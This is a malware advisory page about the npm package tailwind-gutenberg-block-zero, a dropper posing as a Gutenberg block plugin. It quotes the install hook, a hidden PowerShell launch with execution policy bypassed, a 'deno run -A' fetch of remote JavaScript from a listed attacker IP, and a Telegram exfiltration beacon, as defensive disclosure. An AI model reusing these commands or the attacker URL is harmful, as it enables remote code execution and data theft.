Malicious code in tailwind-gutenberg-block-zero (npm)
The npm package tailwind-gutenberg-block-zero is a supply-chain dropper disguised as a WordPress / Gutenberg block plugin. The published tarball carries the trappings of a real plugin (a my-tailwind-blocks.php, a wp-scripts build configuration, a README and a screenshot), but its real behaviour lives in an npm install lifecycle hook.
package.json declares scripts.install = "node setup.js", so setup.js executes automatically on npm install, before the package is ever imported. The script fingerprints the host (os.platform(), os.hostname()), downloads a second-stage payload from the hardcoded raw IP http://172.94.9.157/v028f8cde892b0b74c8.js and writes it to disk, then executes it through a hidden, minimised PowerShell process (child_process.exec("start /min powershell ..."), alongside a bundled setup.ps1) — a Windows-targeted download-and-execute chain. Collected data is exfiltrated to a Telegram bot via https://api.telegram.org/bot<token>/sendMessage (the URL was reconstructed from an assembled string; the bot token is withheld).
Any developer workstation or CI runner that installs the package (directly or transitively) hands arbitrary code execution to the operator. Detected and classified independently by codelake Research from the live npm feed on 2026-07-17; at the time of reporting the package was not present in OSV or GHSA (a first-catch).
package.json declares "install": "node setup.js", so setup.js runs automatically on npm install. setup.js writes a PowerShell script to the OS temp directory and launches it with start /min powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File... (windowsHide:true, detached:true), then exits within ~500ms to conceal the child process. The staged PowerShell script installs Scoop/winget, installs the Deno runtime, and runs deno run -A http://172.94.9.157/v028f8cde892b0b74c8.js — remote, unpinned JavaScript pulled over cleartext HTTP from a bare IP address and executed with Deno's -A all-permissions flag, giving arbitrary code full filesystem, network, environment, and subprocess access on the installer's machine. setup.js additionally collects os.hostname(), os.platform(), os.arch(), and a package identifier at install time and POSTs a [NEW INSTALLATION] beacon to api.telegram.org/bot<token>/sendMessage (bot token and chat id are blanked in this shipped variant but the exfil path is wired). The destination host is not the package's publisher, the runtime install is not the attack surface, and the fetched-and-executed remote JS is attacker-controlled; the cover story of a CMS Store Hub installation does not match the shipped behavior.
MAL-2026-11044 is recorded against 1 package.
Published on 20 July 2026 and last revised on 4 August 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.
File hashes: sha256:335ec20a718179b3ec6e79a97fdea9c6498bf024018989e0bf4109bff4e827e1
IP addresses: 172.94.9.157
URLs: http://172.94.9.157/v028f8cde892b0b74c8.js
Details
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| tailwind-gutenberg-block-zero | — | — |
References
Free Vulnerability Check
BotEraser helps you identify potentially vulnerable plugins and themes by checking your installation against MAL-2026-11044 and other known CVE records.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.
Stay up to date with the latest from Boteraser.
We use cookies to improve your experience on our site. By using our site, you consent to cookies.
Manage your cookie preferences below:
Essential cookies enable basic functions and are necessary for the proper function of the website.
CloudFlare provides web performance and security solutions, enhancing site speed and protecting against threats.
Service URL: developers.cloudflare.com (opens in a new window)
These cookies are needed for adding comments on this website.
These cookies are used for managing login functionality on this website.
Statistics cookies collect information anonymously. This information helps us understand how visitors use our website.
Google Analytics is a powerful tool that tracks and analyzes website traffic for informed marketing decisions.
Service URL: policies.google.com (opens in a new window)
You can find more information in our Cookie Policy and Privacy Policy.